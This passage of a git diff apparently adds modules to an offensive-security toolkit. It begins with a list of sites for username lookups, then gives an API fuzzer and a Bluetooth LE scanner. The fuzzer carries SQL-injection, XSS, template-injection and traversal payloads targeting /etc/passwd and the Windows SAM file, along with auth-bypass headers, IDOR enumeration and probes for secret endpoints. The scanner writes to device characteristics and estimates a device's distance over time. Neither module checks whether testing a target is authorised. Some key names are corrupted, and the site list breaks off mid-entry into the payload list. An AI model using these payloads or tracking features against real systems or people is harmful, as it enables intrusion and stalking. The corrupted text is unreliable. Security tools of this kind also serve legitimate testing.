"country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://{}.wix.com", + "urlMain": "https://wix.com/", + "usernameON": "support", + "bad_site": "" + }, + "Wolpy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "ItPage not found", + "errorMsg2": "doesn't exist", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://wolpy.com/{}", + "urlMain": "https://wolpy.com", + "usernameON": "FaustinFavreau", + "bad_site": "" + }, + "Wordart": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://wordart.com/gallery/user/{}", + "urlMain": "https://wordart.com", + "usernameON": "Jarmiviktoria", + "bad_site": "" + }, + "WordPress": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://{}.wordpress.com/", + "urlMain": "https://wordpress.com", + "usernameON": "blue", + "bad_site": "" + }, + "WordPressOrg": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://profiles.wordpress.org/{}/", + "urlMain": "https://wordpress.org/", + "usernameON": "blue", + "bad_site": "" + }, + "Worldofwarcraft_blizzard": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Error 404", + "errorMsg2": "WoW", "'\">", + "javascript:alert(1)", "", "{{7*7}}", + "${7*7}", "<%=7*7%>", "{{constructor.constructor('return 1')()}}", +] + +TYPE_CONFUSION = [ + None, True, False, 0, -1, 2147483647, -2147483648, + 99999999999999, 0.1, -0.1, float('inf'), + "", " ", "null", "undefined", "NaN", "true", "false", + [], {}, [None], {"__proto__": {}}, + "A" * 1000, "A" * 10000, +] + +TRAVERSAL_PAYLOADS = [ + "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config\\sam", + "....//....//....//etc/passwd", "%2e%2e%2f%2e%2e%2f", + "/etc/passwd%00", "..%252f..%252f", +] + +COMMON_ENDPOINTS = [ + '/api', '/api/v1', '/api/v2', '/api/v3', + '/api/users', '/api/admin', '/api/login', '/api/auth', + '/api/config', '/api/settings', '/api/debug', '/api/health', + '/api/status', '/api/info', '/api/version', '/api/docs', + '/api/swagger', '/api/graphql', '/api/internal', + '/swagger.json', '/swagger-ui', '/openapi.json', + '/api/tokens', '/api/keys', '/api/secrets', + '/api/upload', '/api/download', '/api/export', '/api/import', + '/api/search', '/api/query', '/api/execute', '/api/run', + '/graphql', '/graphiql', '/playground', + '/.well-known/openid-configuration', + '/api/password/reset', '/api/register', '/api/verify', + '/api/webhook', '/api/callback', '/api/notify', + '/actuator', '/actuator/health', '/actuator/env', + '/metrics', '/prometheus', '/_debug', '/__debug__', +] + + +# ── API Fuzzer Engine ──────────────────────────────────────────────────────── + +class APIFuzzer: + """REST & GraphQL API security testing.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'api_fuzzer') + os.makedirs(self.data_dir, exist_ok=True) + self.session = requests.Session() if HAS_REQUESTS else None + self.results: List[Dict] = [] + self._jobs: Dict[str, Dict] = {} + + def set_auth(self, auth_type: str, value: str, header_name: str = 'Authorization'): + """Configure authentication for requests.""" + if not self.session: + return + if auth_type == 'bearer': + self.session.headers[header_name] = f'Bearer {value}' + elif auth_type == 'api_key': + self.session.headers[header_name] = value + elif auth_type == 'basic': + parts = value.split(':', 1) + if len(parts) == 2: + self.session.auth = (parts[0], parts[1]) + elif auth_type == 'cookie': + self.session.cookies.set('session', value) + elif auth_type == 'custom': + self.session.headers[header_name] = value + + def clear_auth(self): + """Clear authentication.""" + if self.session: + self.session.headers.pop('Authorization', None) + self.session.auth = None + self.session.cookies.clear() + + # ── Endpoint Discovery ─────────────────────────────────────────────── + + def discover_endpoints(self, base_url: str, custom_paths: List[str] = None, + threads: int = 10) -> str: + """Discover API endpoints. Returns job_id.""" + job_id = f'discover_{int(time.time())}' + self._jobs[job_id] = { + 'type': 'discover', 'status': 'running', + 'found': [], 'checked': 0, 'total': 0 + } + + def _discover(): + paths = COMMON_ENDPOINTS + (custom_paths or []) + self._jobs[job_id]['total'] = len(paths) + found = [] + + def check_path(path): + try: + url = urljoin(base_url.rstrip('/') + '/', path.lstrip('/')) + resp = self.session.get(url, timeout=5, allow_redirects=False) + self._jobs[job_id]['checked'] += 1 + + if resp.status_code < 404: + entry = { + 'path': path, + 'url': url, + 'status': resp.status_code, + 'content_type': resp.headers.get('content-type', ''), + 'size': len(resp.content), + 'methods': [] + } + + # Check allowed methods via OPTIONS + try: + opts = self.session.options(url, timeout=3) + allow = opts.headers.get('Allow', '') + if allow: + entry['methods'] = [m.strip() for m in allow.split(',')] + except Exception: + pass + + found.append(entry) + except Exception: + self._jobs[job_id]['checked'] += 1 + + # Thread pool + active_threads = [] + for path in paths: + t = threading.Thread(target=check_path, args=(path,)) + t.start() + active_threads.append(t) + if len(active_threads) >= threads: + for at in active_threads: + at.join(timeout=10) + active_threads.clear() + + for t in active_threads: + t.join(timeout=10) + + self._jobs[job_id]['found'] = found + self._jobs[job_id]['status'] = 'complete' + + threading.Thread(target=_discover, daemon=True).start() + return job_id + + def parse_openapi(self, url_or_path: str) -> Dict: + """Parse OpenAPI/Swagger spec to extract endpoints.""" + try: + if url_or_path.startswith('http'): + resp = self.session.get(url_or_path, timeout=10) + spec = resp.json() + else: + with open(url_or_path) as f: + spec = json.load(f) + + endpoints = [] + paths = spec.get('paths', {}) + for path, methods in paths.items(): + for method, details in methods.items(): + if method.upper() in ('GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'): + params = [] + for p in details.get('parameters', []): + params.append({ + 'name': p.get('name'), + 'in': p.get('in'), + 'required': p.get('required', False), + 'type': p.get('schema', {}).get('type', 'string') + }) + endpoints.append({ + 'path': path, + 'method': method.upper(), + 'summary': details.get('summary', ''), + 'parameters': params, + 'tags': details.get('tags', []) + }) + + return { + 'ok': True, + 'title': spec.get('info', {}).get('title', ''), + 'version': spec.get('info', {}).get('version', ''), + 'endpoints': endpoints, + 'count': len(endpoints) + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Parameter Fuzzing ──────────────────────────────────────────────── + + def fuzz_params(self, url: str, method: str = 'GET', + params: Dict = None, payload_type: str = 'type_confusion') -> Dict: + """Fuzz API parameters with various payloads.""" + if not self.session: + return {'ok': False, 'error': 'requests not available'} + + if payload_type == 'sqli': + payloads = SQLI_PAYLOADS + elif payload_type == 'xss': + payloads = XSS_PAYLOADS + elif payload_type == 'traversal': + payloads = TRAVERSAL_PAYLOADS + else: + payloads = TYPE_CONFUSION + + params = params or {} + findings = [] + + for param_name, original_value in params.items(): + for payload in payloads: + fuzzed = copy.deepcopy(params) + fuzzed[param_name] = payload + + try: + if method.upper() == 'GET': + resp = self.session.get(url, params=fuzzed, timeout=10) + else: + resp = self.session.request(method.upper(), url, json=fuzzed, timeout=10) + + # Analyze response for anomalies + finding = self._analyze_fuzz_response( + resp, param_name, payload, payload_type + ) + if finding: + findings.append(finding) + + except RequestException as e: + if 'timeout' not in str(e).lower(): + findings.append({ + 'param': param_name, + 'payload': str(payload), + 'type': 'error', + 'detail': str(e) + }) + + return {'ok': True, 'findings': findings, 'tested': len(params) * len(payloads)} + + def _analyze_fuzz_response(self, resp, param: str, payload, payload_type: str) -> Optional[Dict]: + """Analyze response for vulnerability indicators.""" + body = resp.text.lower() + finding = None + + # SQL error detection + sql_errors = [ + 'sql syntax', 'mysql_fetch', 'pg_query', 'sqlite3', + 'unclosed quotation', 'unterminated string', 'syntax error', + 'odbc', 'oracle error', 'microsoft ole db', 'ora-0' + ] + if payload_type == 'sqli' and any(e in body for e in sql_errors): + finding = { + 'param': param, 'payload': str(payload), + 'type': 'sqli', 'severity': 'high', + 'detail': 'SQL error in response', + 'status': resp.status_code + } + + # XSS reflection + if payload_type == 'xss' and str(payload).lower() in body: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'xss_reflected', 'severity': 'high', + 'detail': 'Payload reflected in response', + 'status': resp.status_code + } + + # Path traversal + if payload_type == 'traversal': + traversal_indicators = ['root:', '/bin/', 'windows\\system32', '[boot loader]'] + if any(t in body for t in traversal_indicators): + finding = { + 'param': param, 'payload': str(payload), + 'type': 'path_traversal', 'severity': 'critical', + 'detail': 'File content in response', + 'status': resp.status_code + } + + # Server error (500) might indicate injection + if resp.status_code == 500 and not finding: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'server_error', 'severity': 'medium', + 'detail': f'Server error (500) triggered', + 'status': resp.status_code + } + + # Stack trace / debug info disclosure + debug_indicators = [ + 'traceback', 'stacktrace', 'exception', 'debug', + 'at line', 'file "/', 'internal server error' + ] + if any(d in body for d in debug_indicators) and not finding: + finding = { + 'param': param, 'payload': str(payload), + 'type': 'info_disclosure', 'severity': 'medium', + 'detail': 'Debug/stack trace in response', + 'status': resp.status_code + } + + return finding + + # ── Auth Testing ───────────────────────────────────────────────────── + + def test_idor(self, url_template: str, id_range: Tuple[int, int], + auth_token: str = None) -> Dict: + """Test for IDOR by iterating IDs.""" + findings = [] + start_id, end_id = id_range + + if auth_token: + self.session.headers['Authorization'] = f'Bearer {auth_token}' + + for i in range(start_id, end_id + 1): + url = url_template.replace('{id}', str(i)) + try: + resp = self.session.get(url, timeout=5) + if resp.status_code == 200: + findings.append({ + 'id': i, 'url': url, + 'status': resp.status_code, + 'size': len(resp.content), + 'accessible': True + }) + elif resp.status_code not in (401, 403, 404): + findings.append({ + 'id': i, 'url': url, + 'status': resp.status_code, + 'accessible': False, + 'note': f'Unexpected status: {resp.status_code}' + }) + except Exception: + pass + + return { + 'ok': True, 'findings': findings, + 'accessible_count': sum(1 for f in findings if f.get('accessible')), + 'tested': end_id - start_id + 1 + } + + def test_auth_bypass(self, url: str) -> Dict: + """Test common auth bypass techniques.""" + bypasses = [] + + tests = [ + ('No auth header', {}), + ('Empty Bearer', {'Authorization': 'Bearer '}), + ('Bearer null', {'Authorization': 'Bearer null'}), + ('Bearer undefined', {'Authorization': 'Bearer undefined'}), + ('Admin header', {'X-Admin': 'true'}), + ('Internal header', {'X-Forwarded-For': '127.0.0.1'}), + ('Override method', {'X-HTTP-Method-Override': 'GET'}), + ('Original URL', {'X-Original-URL': '/admin'}), + ] + + for name, headers in tests: + try: + resp = requests.get(url, headers=headers, timeout=5) + if resp.status_code == 200: + bypasses.append({ + 'technique': name, + 'status': resp.status_code, + 'size': len(resp.content), + 'success': True + }) + else: + bypasses.append({ + 'technique': name, + 'status': resp.status_code, + 'success': False + }) + except Exception: + pass + + return { + 'ok': True, + 'bypasses': bypasses, + 'successful': sum(1 for b in bypasses if b.get('success')) + } + + # ── Rate Limiting ──────────────────────────────────────────────────── + + def test_rate_limit(self, url: str, requests_count: int = 50, + method: str = 'GET') -> Dict: + """Test API rate limiting.""" + results = [] + start_time = time.time() + + for i in range(requests_count): + try: + resp = self.session.request(method, url, timeout=10) + results.append({ + 'request_num': i + 1, + 'status': resp.status_code, + 'time': time.time() - start_time, + 'rate_limit_remaining': resp.headers.get('X-RateLimit-Remaining', ''), + 'retry_after': resp.headers.get('Retry-After', '') + }) + if resp.status_code == 429: + break + except Exception as e: + results.append({ + 'request_num': i + 1, + 'error': str(e), + 'time': time.time() - start_time + }) + + rate_limited = any(r.get('status') == 429 for r in results) + elapsed = time.time() - start_time + + return { + 'ok': True, + 'rate_limited': rate_limited, + 'total_requests': len(results), + 'elapsed_seconds': round(elapsed, 2), + 'rps': round(len(results) / elapsed, 1) if elapsed > 0 else 0, + 'limit_hit_at': next((r['request_num'] for r in results if r.get('status') == 429), None), + 'results': results + } + + # ── GraphQL ────────────────────────────────────────────────────────── + + def graphql_introspect(self, url: str) -> Dict: + """Run GraphQL introspection query.""" + query = { + 'query': ''' + { + __schema { + types { + name + kind + fields { + name + type { name kind } + args { name type { name } } + } + } + queryType { name } + mutationType { name } + } + } + ''' + } + + try: + resp = self.session.post(url, json=query, timeout=15) + data = resp.json() + + if 'errors' in data and not data.get('data'): + return {'ok': False, 'error': 'Introspection disabled or error', + 'errors': data['errors']} + + schema = data.get('data', {}).get('__schema', {}) + types = [] + for t in schema.get('types', []): + if not t['name'].startswith('__'): + types.append({ + 'name': t['name'], + 'kind': t['kind'], + 'fields': [ + {'name': f['name'], + 'type': f['type'].get('name', f['type'].get('kind', '')), + 'args': [a['name'] for a in f.get('args', [])]} + for f in (t.get('fields') or []) + ] + }) + + return { + 'ok': True, + 'query_type': schema.get('queryType', {}).get('name'), + 'mutation_type': schema.get('mutationType', {}).get('name'), + 'types': types, + 'type_count': len(types) + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def graphql_depth_test(self, url: str, max_depth: int = 10) -> Dict: + """Test GraphQL query depth limits.""" + results = [] + for depth in range(1, max_depth + 1): + # Build nested query + inner = '{ __typename }' + for _ in range(depth): + inner = f'{{ __schema {{ types {inner} }} }}' + + try: + resp = self.session.post(url, json={'query': inner}, timeout=10) + results.append({ + 'depth': depth, + 'status': resp.status_code, + 'has_errors': 'errors' in resp.json() if resp.headers.get('content-type', '').startswith('application/json') else None + }) + if resp.status_code != 200: + break + except Exception: + results.append({'depth': depth, 'error': True}) + break + + max_allowed = max((r['depth'] for r in results if r.get('status') == 200), default=0) + return { + 'ok': True, + 'max_depth_allowed': max_allowed, + 'depth_limited': max_allowed < max_depth, + 'results': results + } + + # ── Response Analysis ──────────────────────────────────────────────── + + def analyze_response(self, url: str, method: str = 'GET') -> Dict: + """Analyze API response for security issues.""" + try: + resp = self.session.request(method, url, timeout=10) + issues = [] + + # Check security headers + security_headers = { + 'X-Content-Type-Options': 'nosniff', + 'X-Frame-Options': 'DENY|SAMEORIGIN', + 'Strict-Transport-Security': None, + 'Content-Security-Policy': None, + 'X-XSS-Protection': None, + } + for header, expected in security_headers.items(): + val = resp.headers.get(header) + if not val: + issues.append({ + 'type': 'missing_header', + 'header': header, + 'severity': 'low' + }) + + # Check for info disclosure + server = resp.headers.get('Server', '') + if server and any(v in server.lower() for v in ['apache/', 'nginx/', 'iis/']): + issues.append({ + 'type': 'server_disclosure', + 'value': server, + 'severity': 'info' + }) + + powered_by = resp.headers.get('X-Powered-By', '') + if powered_by: + issues.append({ + 'type': 'technology_disclosure', + 'value': powered_by, + 'severity': 'low' + }) + + # Check CORS + cors = resp.headers.get('Access-Control-Allow-Origin', '') + if cors == '*': + issues.append({ + 'type': 'open_cors', + 'value': cors, + 'severity': 'medium' + }) + + # Check for error/debug info in body + body = resp.text.lower() + if any(kw in body for kw in ['stack trace', 'traceback', 'debug mode']): + issues.append({ + 'type': 'debug_info', + 'severity': 'medium', + 'detail': 'Debug/stack trace information in response' + }) + + return { + 'ok': True, + 'url': url, + 'status': resp.status_code, + 'headers': dict(resp.headers), + 'issues': issues, + 'issue_count': len(issues) + } + + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Job Management ─────────────────────────────────────────────────── + + def get_job(self, job_id: str) -> Optional[Dict]: + return self._jobs.get(job_id) + + def list_jobs(self) -> List[Dict]: + return [{'id': k, **v} for k, v in self._jobs.items()] + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_api_fuzzer() -> APIFuzzer: + global _instance + if _instance is None: + _instance = APIFuzzer() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for API Fuzzer module.""" + if not HAS_REQUESTS: + print(" Error: requests library not installed") + return + + fuzzer = get_api_fuzzer() + + while True: + print(f"\n{'='*60}") + print(f" API Fuzzer") + print(f"{'='*60}") + print() + print(" 1 — Discover Endpoints") + print(" 2 — Parse OpenAPI Spec") + print(" 3 — Fuzz Parameters") + print(" 4 — Test Auth Bypass") + print(" 5 — Test IDOR") + print(" 6 — Test Rate Limiting") + print(" 7 — GraphQL Introspection") + print(" 8 — Analyze Response") + print(" 9 — Set Authentication") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + base = input(" Base URL: ").strip() + if base: + job_id = fuzzer.discover_endpoints(base) + print(f" Discovery started (job: {job_id})") + while True: + job = fuzzer.get_job(job_id) + if job['status'] == 'complete': + print(f" Found {len(job['found'])} endpoints:") + for ep in job['found']: + print(f" [{ep['status']}] {ep['path']} " + f"({ep['content_type'][:30]})") + break + print(f" Checking... {job['checked']}/{job['total']}") + time.sleep(1) + elif choice == '2': + url = input(" OpenAPI spec URL or file: ").strip() + if url: + result = fuzzer.parse_openapi(url) + if result['ok']: + print(f" API: {result['title']} v{result['version']}") + print(f" Endpoints: {result['count']}") + for ep in result['endpoints'][:20]: + print(f" {ep['method']:<6} {ep['path']} {ep.get('summary', '')}") + else: + print(f" Error: {result['error']}") + elif choice == '3': + url = input(" Endpoint URL: ").strip() + param_str = input(" Parameters (key=val,key=val): ").strip() + ptype = input(" Payload type (sqli/xss/traversal/type_confusion): ").strip() or 'type_confusion' + if url and param_str: + params = dict(p.split('=', 1) for p in param_str.split(',') if '=' in p) + result = fuzzer.fuzz_params(url, params=params, payload_type=ptype) + if result['ok']: + print(f" Tested {result['tested']} combinations, {len(result['findings'])} findings:") + for f in result['findings']: + print(f" [{f.get('severity', '?')}] {f['type']}: {f['param']} = {f['payload'][:50]}") + elif choice == '4': + url = input(" Protected URL: ").strip() + if url: + result = fuzzer.test_auth_bypass(url) + print(f" Tested {len(result['bypasses'])} techniques, {result['successful']} successful") + for b in result['bypasses']: + status = 'BYPASSED' if b['success'] else f'blocked ({b["status"]})' + print(f" {b['technique']}: {status}") + elif choice == '6': + url = input(" URL to test: ").strip() + count = input(" Request count (default 50): ").strip() + if url: + result = fuzzer.test_rate_limit(url, int(count) if count.isdigit() else 50) + print(f" Rate limited: {result['rate_limited']}") + print(f" RPS: {result['rps']} | Total: {result['total_requests']} in {result['elapsed_seconds']}s") + if result['limit_hit_at']: + print(f" Limit hit at request #{result['limit_hit_at']}") + elif choice == '7': + url = input(" GraphQL URL: ").strip() + if url: + result = fuzzer.graphql_introspect(url) + if result['ok']: + print(f" Found {result['type_count']} types") + for t in result['types'][:10]: + print(f" {t['kind']}: {t['name']} ({len(t['fields'])} fields)") + else: + print(f" Error: {result['error']}") + elif choice == '8': + url = input(" URL: ").strip() + if url: + result = fuzzer.analyze_response(url) + if result['ok']: + print(f" Status: {result['status']} | Issues: {result['issue_count']}") + for issue in result['issues']: + print(f" [{issue['severity']}] {issue['type']}: {issue.get('value', issue.get('detail', ''))}") + elif choice == '9': + auth_type = input(" Auth type (bearer/api_key/basic/cookie): ").strip() + value = input(" Value: ").strip() + if auth_type and value: + fuzzer.set_auth(auth_type, value) + print(" Authentication configured") diff --git a/modules/ble_scanner.py b/modules/ble_scanner.py new file mode 100644 index 0000000..a71199a --- /dev/null +++ b/modules/ble_scanner.py @@ -0,0 +1,555 @@ +"""AUTARCH BLE Scanner + +Bluetooth Low Energy device discovery, service enumeration, characteristic +read/write, vulnerability scanning, and proximity tracking. +""" + +DESCRIPTION = "BLE device scanning & security analysis" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "analyze" + +import os +import re +import json +import time +import threading +from pathlib import Path +from datetime import datetime, timezone +from typing import Dict, List, Optional, Any + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return str(Path(__file__).parent.parent / 'data') + +# Optional BLE library +try: + import asyncio + from bleak import BleakScanner, BleakClient + HAS_BLEAK = True +except ImportError: + HAS_BLEAK = False + + +# ── Known Service UUIDs ────────────────────────────────────────────────────── + +KNOWN_SERVICES = { + '00001800-0000-1000-8000-00805f9b34fb': 'Generic Access', + '00001801-0000-1000-8000-00805f9b34fb': 'Generic Attribute', + '0000180a-0000-1000-8000-00805f9b34fb': 'Device Information', + '0000180f-0000-1000-8000-00805f9b34fb': 'Battery Service', + '00001812-0000-1000-8000-00805f9b34fb': 'Human Interface Device', + '0000180d-0000-1000-8000-00805f9b34fb': 'Heart Rate', + '00001809-0000-1000-8000-00805f9b34fb': 'Health Thermometer', + '00001802-0000-1000-8000-00805f9b34fb': 'Immediate Alert', + '00001803-0000-1000-8000-00805f9b34fb': 'Link Loss', + '00001804-0000-1000-8000-00805f9b34fb': 'Tx Power', + '00001805-0000-1000-8000-00805f9b34fb': 'Current Time', + '00001808-0000-1000-8000-00805f9b34fb': 'Glucose', + '00001810-0000-1000-8000-00805f9b34fb': 'Blood Pressure', + '00001813-0000-1000-8000-00805f9b34fb': 'Scan Parameters', + '00001816-0000-1000-8000-00805f9b34fb': 'Cycling Speed & Cadence', + '00001818-0000-1000-8000-00805f9b34fb': 'Cycling Power', + '00001814-0000-1000-8000-00805f9b34fb': 'Running Speed & Cadence', + '0000fee0-0000-1000-8000-00805f9b34fb': 'Mi Band Service', + '0000feaa-0000-1000-8000-00805f9b34fb': 'Eddystone (Google)', +} + +MANUFACTURER_IDS = { + 0x004C: 'Apple', + 0x0006: 'Microsoft', + 0x000F: 'Texas Instruments', + 0x0059: 'Nordic Semiconductor', + 0x0075: 'Samsung', + 0x00E0: 'Google', + 0x0157: 'Xiaomi', + 0x0171: 'Amazon', + 0x02FF: 'Huawei', + 0x0310: 'Fitbit', +} + +KNOWN_VULNS = { + 'KNOB': { + 'description': 'Key Negotiation of Bluetooth Attack — downgrades encryption key entropy', + 'cve': 'CVE-2019-9506', + 'severity': 'high', + 'check': 'Requires active MITM during pairing' + }, + 'BLESA': { + 'description': 'BLE Spoofing Attack — reconnection spoofing without auth', + 'cve': 'CVE-2020-9770', + 'severity': 'medium', + 'check': 'Affects reconnection after disconnect' + }, + 'SweynTooth': { + 'description': 'Family of BLE implementation bugs causing crashes/deadlocks', + 'cve': 'Multiple (CVE-2019-16336, CVE-2019-17519, etc.)', + 'severity': 'high', + 'check': 'Vendor-specific, requires firmware version check' + }, + 'BlueBorne': { + 'description': 'Remote code execution via Bluetooth without pairing', + 'cve': 'CVE-2017-0781 to CVE-2017-0785', + 'severity': 'critical', + 'check': 'Requires classic BT stack, pre-2018 devices vulnerable' + } +} + + +# ── BLE Scanner ────────────────────────────────────────────────────────────── + +class BLEScanner: + """Bluetooth Low Energy device scanner and analyzer.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'ble') + os.makedirs(self.data_dir, exist_ok=True) + self.devices: Dict[str, Dict] = {} + self.tracking_history: Dict[str, List[Dict]] = {} + self._scan_running = False + + def is_available(self) -> bool: + """Check if BLE scanning is available.""" + return HAS_BLEAK + + def get_status(self) -> Dict: + """Get scanner status.""" + return { + 'available': HAS_BLEAK, + 'devices_found': len(self.devices), + 'scanning': self._scan_running, + 'tracking': len(self.tracking_history) + } + + # ── Scanning ───────────────────────────────────────────────────────── + + def scan(self, duration: float = 10.0) -> Dict: + """Scan for BLE devices.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak library not installed (pip install bleak)'} + + self._scan_running = True + + try: + loop = asyncio.new_event_loop() + devices = loop.run_until_complete(self._async_scan(duration)) + loop.close() + + results = [] + for dev in devices: + info = self._parse_device(dev) + self.devices[info['address']] = info + results.append(info) + + self._scan_running = False + return { + 'ok': True, + 'devices': results, + 'count': len(results), + 'duration': duration + } + + except Exception as e: + self._scan_running = False + return {'ok': False, 'error': str(e)} + + async def _async_scan(self, duration: float): + """Async BLE scan.""" + devices = await BleakScanner.discover(timeout=duration, return_adv=True) + return devices + + def _parse_device(self, dev_adv) -> Dict: + """Parse BLE device advertisement data.""" + if isinstance(dev_adv, tuple): + dev, adv = dev_adv + else: + dev = dev_adv + adv = None + + info = { + 'address': str(dev.address) if hasattr(dev, 'address') else str(dev), + 'name': dev.name if hasattr(dev, 'name') else 'Unknown', + 'rssi': dev.rssi if hasattr(dev, 'rssi') else (adv.rssi if adv and hasattr(adv, 'rssi') else 0), + 'services': [], + 'manufacturer': 'Unknown', + 'device_type': 'unknown', + 'connectable': True, + 'last_seen': datetime.now(timezone.utc).isoformat(), + } + + # Parse advertisement data + if adv: + # Service UUIDs + if hasattr(adv, 'service_uuids'): + for uuid in adv.service_uuids: + service_name = KNOWN_SERVICES.get(uuid.lower(), uuid) + info['services'].append({'uuid': uuid, 'name': service_name}) + + # Manufacturer data + if hasattr(adv, 'manufacturer_data'): + for company_id, data in adv.manufacturer_data.items(): + info['manufacturer'] = MANUFACTURER_IDS.get(company_id, f'ID: {company_id:#06x}') + info['manufacturer_data'] = data.hex() if isinstance(data, bytes) else str(data) + + # TX Power + if hasattr(adv, 'tx_power'): + info['tx_power'] = adv.tx_power + + # Classify device type + info['device_type'] = self._classify_device(info) + + return info + + def _classify_device(self, info: Dict) -> str: + """Classify device type from services and name.""" + name = (info.get('name') or '').lower() + services = [s['uuid'].lower() for s in info.get('services', [])] + + if any('1812' in s for s in services): + return 'hid' # keyboard/mouse + if any('180d' in s for s in services): + return 'fitness' + if any('180f' in s for s in services): + if 'headphone' in name or 'airpod' in name or 'buds' in name: + return 'audio' + if any('fee0' in s for s in services): + return 'wearable' + if info.get('manufacturer') == 'Apple': + if 'watch' in name: + return 'wearable' + if 'airpod' in name: + return 'audio' + return 'apple_device' + if 'tv' in name or 'chromecast' in name or 'roku' in name: + return 'media' + if 'lock' in name or 'door' in name: + return 'smart_lock' + if 'light' in name or 'bulb' in name or 'hue' in name: + return 'smart_light' + if 'beacon' in name or any('feaa' in s for s in services): + return 'beacon' + if 'tile' in name or 'airtag' in name or 'tracker' in name: + return 'tracker' + return 'unknown' + + # ── Device Detail ──────────────────────────────────────────────────── + + def get_device_detail(self, address: str) -> Dict: + """Connect to device and enumerate services/characteristics.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_detail(address)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_detail(self, address: str) -> Dict: + """Async device detail enumeration.""" + async with BleakClient(address) as client: + services = [] + for service in client.services: + svc = { + 'uuid': service.uuid, + 'name': KNOWN_SERVICES.get(service.uuid.lower(), service.description or service.uuid), + 'characteristics': [] + } + for char in service.characteristics: + ch = { + 'uuid': char.uuid, + 'description': char.description or char.uuid, + 'properties': char.properties, + 'value': None + } + # Try to read if readable + if 'read' in char.properties: + try: + val = await client.read_gatt_char(char.uuid) + ch['value'] = val.hex() if isinstance(val, bytes) else str(val) + # Try UTF-8 decode + try: + ch['value_text'] = val.decode('utf-8') + except (UnicodeDecodeError, AttributeError): + pass + except Exception: + ch['value'] = '' + + svc['characteristics'].append(ch) + services.append(svc) + + return { + 'ok': True, + 'address': address, + 'connected': True, + 'services': services, + 'service_count': len(services), + 'char_count': sum(len(s['characteristics']) for s in services) + } + + def read_characteristic(self, address: str, char_uuid: str) -> Dict: + """Read a specific characteristic value.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_read(address, char_uuid)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_read(self, address: str, char_uuid: str) -> Dict: + async with BleakClient(address) as client: + val = await client.read_gatt_char(char_uuid) + return { + 'ok': True, + 'address': address, + 'characteristic': char_uuid, + 'value_hex': val.hex(), + 'value_bytes': list(val), + 'size': len(val) + } + + def write_characteristic(self, address: str, char_uuid: str, + data: bytes) -> Dict: + """Write to a characteristic.""" + if not HAS_BLEAK: + return {'ok': False, 'error': 'bleak not installed'} + + try: + loop = asyncio.new_event_loop() + result = loop.run_until_complete(self._async_write(address, char_uuid, data)) + loop.close() + return result + except Exception as e: + return {'ok': False, 'error': str(e)} + + async def _async_write(self, address: str, char_uuid: str, data: bytes) -> Dict: + async with BleakClient(address) as client: + await client.write_gatt_char(char_uuid, data) + return {'ok': True, 'address': address, 'characteristic': char_uuid, + 'written': len(data)} + + # ── Vulnerability Scanning ─────────────────────────────────────────── + + def vuln_scan(self, address: str = None) -> Dict: + """Check for known BLE vulnerabilities.""" + vulns = [] + + for vuln_name, vuln_info in KNOWN_VULNS.items(): + entry = { + 'name': vuln_name, + 'description': vuln_info['description'], + 'cve': vuln_info['cve'], + 'severity': vuln_info['severity'], + 'status': 'check_required', + 'note': vuln_info['check'] + } + vulns.append(entry) + + # Device-specific checks + if address and address in self.devices: + dev = self.devices[address] + manufacturer = dev.get('manufacturer', '') + + # Apple devices with older firmware + if manufacturer == 'Apple': + vulns.append({ + 'name': 'Apple BLE Tracking', + 'description': 'Apple devices broadcast continuity messages that can be tracked', + 'severity': 'info', + 'status': 'detected' if 'apple_device' in dev.get('device_type', '') else 'not_applicable', + 'note': 'Apple continuity protocol leaks device info' + }) + + # Devices without encryption + for svc in dev.get('services', []): + if 'immediate alert' in svc.get('name', '').lower(): + vulns.append({ + 'name': 'Unauthenticated Alert Service', + 'description': 'Immediate Alert service accessible without pairing', + 'severity': 'low', + 'status': 'detected', + 'note': 'Can trigger alerts on device without authentication' + }) + + return { + 'ok': True, + 'address': address, + 'vulnerabilities': vulns, + 'vuln_count': len(vulns) + } + + # ── Proximity Tracking ─────────────────────────────────────────────── + + def track_device(self, address: str) -> Dict: + """Record RSSI for proximity tracking.""" + if address not in self.devices: + return {'ok': False, 'error': 'Device not found. Run scan first.'} + + dev = self.devices[address] + rssi = dev.get('rssi', 0) + tx_power = dev.get('tx_power', -59) # default TX power + + # Estimate distance (rough path-loss model) + if rssi != 0: + ratio = rssi / tx_power + if ratio < 1.0: + distance = pow(ratio, 10) + else: + distance = 0.89976 * pow(ratio, 7.7095) + 0.111 + else: + distance = -1 + + entry = { + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'rssi': rssi, + 'estimated_distance_m': round(distance, 2), + 'tx_power': tx_power + } + + if address not in self.tracking_history: + self.tracking_history[address] = [] + self.tracking_history[address].append(entry) + + return { + 'ok': True, + 'address': address, + 'name': dev.get('name', 